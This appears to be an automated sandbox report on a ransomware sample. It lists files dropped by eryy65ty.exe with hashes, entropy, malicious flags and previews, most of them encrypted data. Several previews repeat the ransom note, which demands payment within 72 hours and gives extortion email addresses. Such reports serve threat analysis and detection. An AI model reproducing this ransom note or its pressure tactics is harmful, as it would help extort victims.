                                                                                                                                                                Preview:.I.......GK...ScD.2Q{7..^At..*.\bVu..!^....We......w.[..Le1...IGD...4.C..zv..."H...}..'.,fQ:o...A]"r.l.j....Q...E.pX0.m.w..+ .8...X.Q...,..LD ...W./~..g.j*428&.D......O.q.-Yi...36...u...$R.,)~*C8)W...6.6...x..eT.w?......;..I.W.[.}.Sc)..'a...,..Bg.........j.0......r.....:Q:..u..x..\..L.V.l...yE...;.......Q..a...'P..9.......d..+|....I.....+9....;K..A.L....qu..O./....:.*.j.1...v.!.4..J.g.(?.]n.\..Oh.$.>|.....m........dV]c.RT#.F.n..w..x..tj.p.../......uO..........r>dk.2.w..6t..@..si.g..Vu..3...M....oy......#^>....v..pmf.t]2.}..............X.57.(.y8C[...W(6.....&1o..sD.&r'....-..."..zD9..^..].+...@..S9L..@."...l.....[t.Wx..> x5N..X+!..`v..`H.:....0QI...ZJ.}*!<..M..|.+...L...xr.3_O..bt..Z..zS.8{J.X.@U...z(&..z.k..?..2NE.>ksp8Y.g..&..a....z..... .1.>.r........>....Jj.......R#..\..).dm..q.G...3.kR..&.i"5.&......R.Ro......i.N#..uU....=g/K.O1Q...p...=...G.....^.6.&...{p..W...d.]...na.E.]?........1...`.....@E."TK!...?M...=..TP..|.........6.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):2362
                                                                                                                                                                Entropy (8bit):7.930593802656804
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:ciSrAyp5TWYro9+ENVWS1wlvsRrYEu+C0dpxHk+9elGTnk:Fo5Tno9+QVWS1wlvsRrYEP5HvelGI
                                                                                                                                                                MD5:DF0BC2FFF63BC19881AB16B3AB7D75BF
                                                                                                                                                                SHA1:27280270F7387F6251EA63429454FE78677227F0
                                                                                                                                                                SHA-256:C4C4A19C9D61CCFD419CA950890C67038223ADC261EF7A2FCB29826DCA56F4A6
                                                                                                                                                                SHA-512:DF71BD245BEDAB2EE05AD9D29A806D962019FF2435700A8A2FA6A90B71F1B72BD32D723F65E3CD6C8C64075C71FFB7411F8EF61C7154890A062ECB1095E40284
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.I.......GK...ScD.2Q{7..^At..*.\bVu..!^....We......w.[..Le1...IGD...4.C..zv..."H...}..'.,fQ:o...A]"r.l.j....Q...E.pX0.m.w..+ .8...X.Q...,..LD ...W./~..g.j*428&.D......O.q.-Yi...36...u...$R.,)~*C8)W...6.6...x..eT.w?......;..I.W.[.}.Sc)..'a...,..Bg.........j.0......r.....:Q:..u..x..\..L.V.l...yE...;.......Q..a...'P..9.......d..+|....I.....+9....;K..A.L....qu..O./....:.*.j.1...v.!.4..J.g.(?.]n.\..Oh.$.>|.....m........dV]c.RT#.F.n..w..x..tj.p.../......uO..........r>dk.2.w..6t..@..si.g..Vu..3...M....oy......#^>....v..pmf.t]2.}..............X.57.(.y8C[...W(6.....&1o..sD.&r'....-..."..zD9..^..].+...@..S9L..@."...l.....[t.Wx..> x5N..X+!..`v..`H.:....0QI...ZJ.}*!<..M..|.+...L...xr.3_O..bt..Z..zS.8{J.X.@U...z(&..z.k..?..2NE.>ksp8Y.g..&..a....z..... .1.>.r........>....Jj.......R#..\..).dm..q.G...3.kR..&.i"5.&......R.Ro......i.N#..uU....=g/K.O1Q...p...=...G.....^.6.&...{p..W...d.]...na.E.]?........1...`.....@E."TK!...?M...=..TP..|.........6.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.846281414484832
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:hs9gMvjmmvd0gAX3N++kyUH6e+HNLi09+b0wD8yBJGECxZK3VLb0dGJLb8ArLiDb:ogU0F3M+ky4YZdY0U8yBJGxxZK3VLMGi
                                                                                                                                                                MD5:68154DF24791A08E12C66203F4CF701F
                                                                                                                                                                SHA1:B85E53B30F212C6754EC0AF3A50DA1311EEBFF9A
                                                                                                                                                                SHA-256:7C115CCD635F548B309DA3C5B678A2E105A2EA57D572C231B0A8C5B1CCED7C66
                                                                                                                                                                SHA-512:D9EAF1431F767EFF5B2C8413A729B477DFB16E2D927732B90D115CCF2744FB107A3489F2C7A6F6B7A924097316D9424F5D27F5642DF35A5F2782E82C465BC16B
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:..I.a.m.......}...gv.|1.a...Q....$...1'./.(.....=.....XKq.&z..=..=....]..Ea&2..[.[..0%..^.....xR..H9.+.0.....S4/n.g....$..z..d.;...B......,.%.....W~Jl...~.}}.D..LR=...>.1b..&.J.3..l.....#.wF... ..!...b...C]..8...@uv ._>$.9.....L>..D3Q-...K.@.Z.=..O..kBK....X.....Ef....-a.L@...xj..Rx....U`#..!...^.6.._...E4....],%.9.U.sf......D..sh....9..1!....v.a.}.X....%7zHw.`...kE...."SQ..>.6f'..'h..'..E.?..ZC..PV.r4mf..Z.icR......PIc.e...[..+g...TdX.......!.Y......O.:S..8-z+2...MC..v..$...$O.7...d)n.e..9:.T...3.q.k...Q.7g....E,`s.% 9@.j.2.W.Ek....v..tJ.D._....'...F..N]..g. ..j...j......64e@..e...,rc.....s....;.z.x.L..o.k.O>.....%..M.....~..:....,J.R..U..5IYxY@.k<#...=.>.4<.-...v....>0S..A..u.....]EH...Z..l...no...DE.#...l.#3..3zsb...d.!.....B2....=bh...Z"v..J.e.......K....&@P.}.PLp...i..".Qx.j.d.z/...Y...0.z.ip.t.0.....n...Lx..>\w$..2.w#<(.#.N.......@$.!"..LDb+...6Z^y..8..L*...~..._*..@P...).l4-...]7y]...J.r.t....|......,@....o.. ....$P.BW..h.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.846281414484832
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:hs9gMvjmmvd0gAX3N++kyUH6e+HNLi09+b0wD8yBJGECxZK3VLb0dGJLb8ArLiDb:ogU0F3M+ky4YZdY0U8yBJGxxZK3VLMGi
                                                                                                                                                                MD5:68154DF24791A08E12C66203F4CF701F
                                                                                                                                                                SHA1:B85E53B30F212C6754EC0AF3A50DA1311EEBFF9A
                                                                                                                                                                SHA-256:7C115CCD635F548B309DA3C5B678A2E105A2EA57D572C231B0A8C5B1CCED7C66
                                                                                                                                                                SHA-512:D9EAF1431F767EFF5B2C8413A729B477DFB16E2D927732B90D115CCF2744FB107A3489F2C7A6F6B7A924097316D9424F5D27F5642DF35A5F2782E82C465BC16B
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..I.a.m.......}...gv.|1.a...Q....$...1'./.(.....=.....XKq.&z..=..=....]..Ea&2..[.[..0%..^.....xR..H9.+.0.....S4/n.g....$..z..d.;...B......,.%.....W~Jl...~.}}.D..LR=...>.1b..&.J.3..l.....#.wF... ..!...b...C]..8...@uv ._>$.9.....L>..D3Q-...K.@.Z.=..O..kBK....X.....Ef....-a.L@...xj..Rx....U`#..!...^.6.._...E4....],%.9.U.sf......D..sh....9..1!....v.a.}.X....%7zHw.`...kE...."SQ..>.6f'..'h..'..E.?..ZC..PV.r4mf..Z.icR......PIc.e...[..+g...TdX.......!.Y......O.:S..8-z+2...MC..v..$...$O.7...d)n.e..9:.T...3.q.k...Q.7g....E,`s.% 9@.j.2.W.Ek....v..tJ.D._....'...F..N]..g. ..j...j......64e@..e...,rc.....s....;.z.x.L..o.k.O>.....%..M.....~..:....,J.R..U..5IYxY@.k<#...=.>.4<.-...v....>0S..A..u.....]EH...Z..l...no...DE.#...l.#3..3zsb...d.!.....B2....=bh...Z"v..J.e.......K....&@P.}.PLp...i..".Qx.j.d.z/...Y...0.z.ip.t.0.....n...Lx..>\w$..2.w#<(.#.N.......@$.!"..LDb+...6Z^y..8..L*...~..._*..@P...).l4-...]7y]...J.r.t....|......,@....o.. ....$P.BW..h.....
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1802
                                                                                                                                                                Entropy (8bit):7.912508049211308
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:lBdH+heLTOI6grQuwv+pVCfkaYYfaTcsql8jR7H:lP+cYxuwvmCsaYMFOH
                                                                                                                                                                MD5:07F89EDBD5FD51599A2EBEA276678BD6
                                                                                                                                                                SHA1:61B3B511F77A7662423DEE759F68F21AB42928FA
                                                                                                                                                                SHA-256:CE7119748C967937C2BA367FC7DA5B82594221472E7A140A7283E3D36EC18CAD
                                                                                                                                                                SHA-512:E7204577281A471B227AACA95BE3AB38A391CB4652ECC04C4DF7C31B95ED37355AE62EB2A395BB25C54EE6BC56F39C3F871E4D0088E28148333D04A62E4B8F65
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:=.3.w".r.k.tAXK...^......EM.1.%Kf.I...j. .o3&f...F4.. Q....#....i...{...BA....Ko.....wez..7.e......~...T.Obj.....j|-..q.H..2.2;d./.n...6.........n..."Zy......hM=#%.kv~..J....KRI..l..<.0.{.X.........?*P1.L..`E.OG>..>.@.oKT.Us..6r..o.....l@.)8....@,..55...fW...._2...C....D....b...H4.Wn.Y...3.....?sw.'Z..GW]....Fp.o..=.pE....j..m.F..Th.p.<.s....q.}....\!..g$.&.M...B'.....eU..t.kC._a..~.i._,O.@.G...N.v.,Fj.%....2..=.q.^....h=6.~......S..c.s;.&Z..).L..h..@.-. ..5..[......a...r].+.:.%.}u..}\.`........."..k......!....4.g.O..t-.....R..u....3Ap..3m...Yg..... L..\...."3.[..Q.9`.wY6....+.....7.......E..".."}*..]O..n..F....,0.d&l...KI.9%.5....ax..] Bp...P.q..|..s.2......P.!..6.o....@.v...g..z7Q.+..(h*..i....]..N.I.....1....EV.....Tp..v&YC]..%..>6y<.H/..S}....~..O..hg..=.m.8p..t...........b.Q.<u...-.....B....K.{.YLXy....(FE.F$!...t.....~.K..K........n[..^H......\y.)?.n.%..|..v........`.Ig.....{.o.C......._.H..-..... ...f..9A.._.a....P..3*..|.U.M.|.\..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1802
                                                                                                                                                                Entropy (8bit):7.912508049211308
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:lBdH+heLTOI6grQuwv+pVCfkaYYfaTcsql8jR7H:lP+cYxuwvmCsaYMFOH
                                                                                                                                                                MD5:07F89EDBD5FD51599A2EBEA276678BD6
                                                                                                                                                                SHA1:61B3B511F77A7662423DEE759F68F21AB42928FA
                                                                                                                                                                SHA-256:CE7119748C967937C2BA367FC7DA5B82594221472E7A140A7283E3D36EC18CAD
                                                                                                                                                                SHA-512:E7204577281A471B227AACA95BE3AB38A391CB4652ECC04C4DF7C31B95ED37355AE62EB2A395BB25C54EE6BC56F39C3F871E4D0088E28148333D04A62E4B8F65
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:=.3.w".r.k.tAXK...^......EM.1.%Kf.I...j. .o3&f...F4.. Q....#....i...{...BA....Ko.....wez..7.e......~...T.Obj.....j|-..q.H..2.2;d./.n...6.........n..."Zy......hM=#%.kv~..J....KRI..l..<.0.{.X.........?*P1.L..`E.OG>..>.@.oKT.Us..6r..o.....l@.)8....@,..55...fW...._2...C....D....b...H4.Wn.Y...3.....?sw.'Z..GW]....Fp.o..=.pE....j..m.F..Th.p.<.s....q.}....\!..g$.&.M...B'.....eU..t.kC._a..~.i._,O.@.G...N.v.,Fj.%....2..=.q.^....h=6.~......S..c.s;.&Z..).L..h..@.-. ..5..[......a...r].+.:.%.}u..}\.`........."..k......!....4.g.O..t-.....R..u....3Ap..3m...Yg..... L..\...."3.[..Q.9`.wY6....+.....7.......E..".."}*..]O..n..F....,0.d&l...KI.9%.5....ax..] Bp...P.q..|..s.2......P.!..6.o....@.v...g..z7Q.+..(h*..i....]..N.I.....1....EV.....Tp..v&YC]..%..>6y<.H/..S}....~..O..hg..=.m.8p..t...........b.Q.<u...-.....B....K.{.YLXy....(FE.F$!...t.....~.K..K........n[..^H......\y.)?.n.%..|..v........`.Ig.....{.o.C......._.H..-..... ...f..9A.._.a....P..3*..|.U.M.|.\..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):5632
                                                                                                                                                                Entropy (8bit):3.8514228666825137
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:ryPhinN8nZqFubvS+BuP38B/7u/PrDJadRrvxQb:6iinXSn3IYQdR2
                                                                                                                                                                MD5:FA9250743784741030D2E33CFFE2BDCF
                                                                                                                                                                SHA1:85690EBDF955FCFE4A70FD41F9234378C6CB366B
                                                                                                                                                                SHA-256:D9C09BD0FD5712C12610E0AE56B51FEB3DF24E92039BAD5A61D7F5702D703AAB
                                                                                                                                                                SHA-512:7A8A11578C1C7D26FC63946F8EA032F01052EE147046D1DC31AF3628889F021F252C3CAEC6D5768C2EF5EFA17AF32A4275ED8E64F3D4469FA5668AB859C92B1F
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:Composite Document File V2 Document, Cannot read section info
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):5632
                                                                                                                                                                Entropy (8bit):3.8514228666825137
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:48:ryPhinN8nZqFubvS+BuP38B/7u/PrDJadRrvxQb:6iinXSn3IYQdR2
                                                                                                                                                                MD5:FA9250743784741030D2E33CFFE2BDCF
                                                                                                                                                                SHA1:85690EBDF955FCFE4A70FD41F9234378C6CB366B
                                                                                                                                                                SHA-256:D9C09BD0FD5712C12610E0AE56B51FEB3DF24E92039BAD5A61D7F5702D703AAB
                                                                                                                                                                SHA-512:7A8A11578C1C7D26FC63946F8EA032F01052EE147046D1DC31AF3628889F021F252C3CAEC6D5768C2EF5EFA17AF32A4275ED8E64F3D4469FA5668AB859C92B1F
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8639457760331855
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:mEm5ZuTvCmRmg1cAqwirm+esJ7YeVNy/yRajIJoU4l+xB45+MES8Bcpxtpk:BTvbRmWCaLuNyZIJoU40YkMESiG3+
                                                                                                                                                                MD5:1950D41B45002610AD7943B03A1722D9
                                                                                                                                                                SHA1:C0F572A1CADBE48B51DE073C5359EB1DEEE87DE8
                                                                                                                                                                SHA-256:66BA4C76FDDB9DD3A0CFC48616AC5909C1D153D13C8A6ADB2B319A5CB15CA04B
                                                                                                                                                                SHA-512:6D4619FE8EF269BD49D28F725DAE9484B759C482C1D527A56C3557B43FFDCDF52008025962E736C3AE711628FCCFDF8EE144133B0DEEE92D35CD54666108E226
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:fPE.....h..K..k...5.g{..1..Qz.d......|(..*..+O>.i`o..n.A.g..\w1I?...y}..*.TXIN?%.....F..%..F.).C%/l...-...Q.>by.=`S\K..o.w....pt..25n9Z..O.....^...r.%6\2.U...;.L...\.&...(a..LnH..~..&.3..7A.Nr..E..ehF......s..PFG..9..~.K...L])o.......He.PSQ7. .4..lT".....&...t..Z-<.\.........#.e*Kg..!....;..l....}...V....j..v.GS..qA.j`.k.H....^..m...tD..m..9..(.r.....L^^.-.....!..E..6.5S.......G...t.F0...d#....Wm.}.,......;..R.>-....:..1>....).5...z.=.~........4v;...%...x...._E..o'..+.Pk..X}oe.p...*.%W.n)..A.....xd)...@....op....LT.r.G&p..z...U..).D.......K~.....7&gyU.....)T..Sv$..-....B....jV.B.v..3..Rt&.g.O..8...k..c.;..9.....%CU...(....&...).o.z..L..g.0N...........'.n>'.b..<.4u_.+Y.JpJ.....r......B]81.%..\...t..Em[...[..f...O...r.`...,w.~...1.<........@.L:...v,=...........M......e....}.0.'.1}.QxG!.H.ag.........sP.e$....w...B>...m.A...)?...X.a.....S.Z.'...G..U=..,...A....L.-..XU....co.a...c..h...:T.F<!...}.&.h.+p_..]Qm.v....-.....QE..?...$....V.Q......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8639457760331855
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:mEm5ZuTvCmRmg1cAqwirm+esJ7YeVNy/yRajIJoU4l+xB45+MES8Bcpxtpk:BTvbRmWCaLuNyZIJoU40YkMESiG3+
                                                                                                                                                                MD5:1950D41B45002610AD7943B03A1722D9
                                                                                                                                                                SHA1:C0F572A1CADBE48B51DE073C5359EB1DEEE87DE8
                                                                                                                                                                SHA-256:66BA4C76FDDB9DD3A0CFC48616AC5909C1D153D13C8A6ADB2B319A5CB15CA04B
                                                                                                                                                                SHA-512:6D4619FE8EF269BD49D28F725DAE9484B759C482C1D527A56C3557B43FFDCDF52008025962E736C3AE711628FCCFDF8EE144133B0DEEE92D35CD54666108E226
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:fPE.....h..K..k...5.g{..1..Qz.d......|(..*..+O>.i`o..n.A.g..\w1I?...y}..*.TXIN?%.....F..%..F.).C%/l...-...Q.>by.=`S\K..o.w....pt..25n9Z..O.....^...r.%6\2.U...;.L...\.&...(a..LnH..~..&.3..7A.Nr..E..ehF......s..PFG..9..~.K...L])o.......He.PSQ7. .4..lT".....&...t..Z-<.\.........#.e*Kg..!....;..l....}...V....j..v.GS..qA.j`.k.H....^..m...tD..m..9..(.r.....L^^.-.....!..E..6.5S.......G...t.F0...d#....Wm.}.,......;..R.>-....:..1>....).5...z.=.~........4v;...%...x...._E..o'..+.Pk..X}oe.p...*.%W.n)..A.....xd)...@....op....LT.r.G&p..z...U..).D.......K~.....7&gyU.....)T..Sv$..-....B....jV.B.v..3..Rt&.g.O..8...k..c.;..9.....%CU...(....&...).o.z..L..g.0N...........'.n>'.b..<.4u_.+Y.JpJ.....r......B]81.%..\...t..Em[...[..f...O...r.`...,w.~...1.<........@.L:...v,=...........M......e....}.0.'.1}.QxG!.H.ag.........sP.e$....w...B>...m.A...)?...X.a.....S.Z.'...G..U=..,...A....L.-..XU....co.a...c..h...:T.F<!...}.&.h.+p_..]Qm.v....-.....QE..?...$....V.Q......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.839295854603355
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:E2da+z4ZCgT1uSEjFQco+wHqQ3nWkOA2W4WSDKR3jDo99KsrYbQp9B:rdHAT9Go+N9A2W7T8993cbQzB
                                                                                                                                                                MD5:07A94A3BEC2FACD755804D821D40D7B4
                                                                                                                                                                SHA1:D9E9B2962043DAC54BEDF545697B0507CE269A5D
                                                                                                                                                                SHA-256:2FBF9F5AE4395AB64D7817C3C547E5DC93B7C68D5FF324C685BD0BDC9B41684A
                                                                                                                                                                SHA-512:0CCBF011E1032510733706C68967A4F2B78FC9D2AB0428EDA20E6E412C27AEF02892AE994FB605FAB4DEA8233D6EA50E0CEDEA9D61E89EE879D3F8C0F46A0AB4
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..[.......3L...*.{. Y...$o...7...`....".T-D].b.2..Kh..*...iiZ:.5...sY.n.@.%..E.".g.<...&....8..Uz8.@>..D..ED..E._.u.>...d....P.q......A.c.>L....6|.I......[.X.<....<2d..j....]*.n&..*=9f{.O...8V....Zm..{R..s.B.V}.J......S..)p..)..D.S.......J.3dih....K.....K...l.@w..g.]Y....I..y....Lp..$..x/......+..{h..{...'..b....e.k.e..y)R..wr.Wz.0.u..V..@{t...Q.......(.R.@..Gt...N.D.....^.'.......M.\...a..xo[z.#.v........j....\-....V......w<..aI4.$.4..(./..............=.df....#..........=...ZXc..vp....h..f..|..E...?...1.....:..v.B&.%.....R._.:......y:.KZ&...h.~N..S..=...@v...]I^:...lC.c....x...5.....U..X.?Q8.^....?...M2........y9MD].....6q.r?.<bpy....'...wtV...0.=.....Z......k..if .)...L.../..#iD|i.q.....@P..iI....m..c.O....*.....v..O.oY\.c8U-JH.......I.eS....0.+p.'3.]...].?.0....I#)........5[=.I.8t/d.l.....k.....6.{-....5..&H)s..Q...8.o#h.+.@.....]...}iX........w.....GZ..Iv .........T*'`.8..]..[#.tWI..c.F"}8..3.N.f.....H..ny...R.c....L%.]&.WXx......
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.839295854603355
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:E2da+z4ZCgT1uSEjFQco+wHqQ3nWkOA2W4WSDKR3jDo99KsrYbQp9B:rdHAT9Go+N9A2W7T8993cbQzB
                                                                                                                                                                MD5:07A94A3BEC2FACD755804D821D40D7B4
                                                                                                                                                                SHA1:D9E9B2962043DAC54BEDF545697B0507CE269A5D
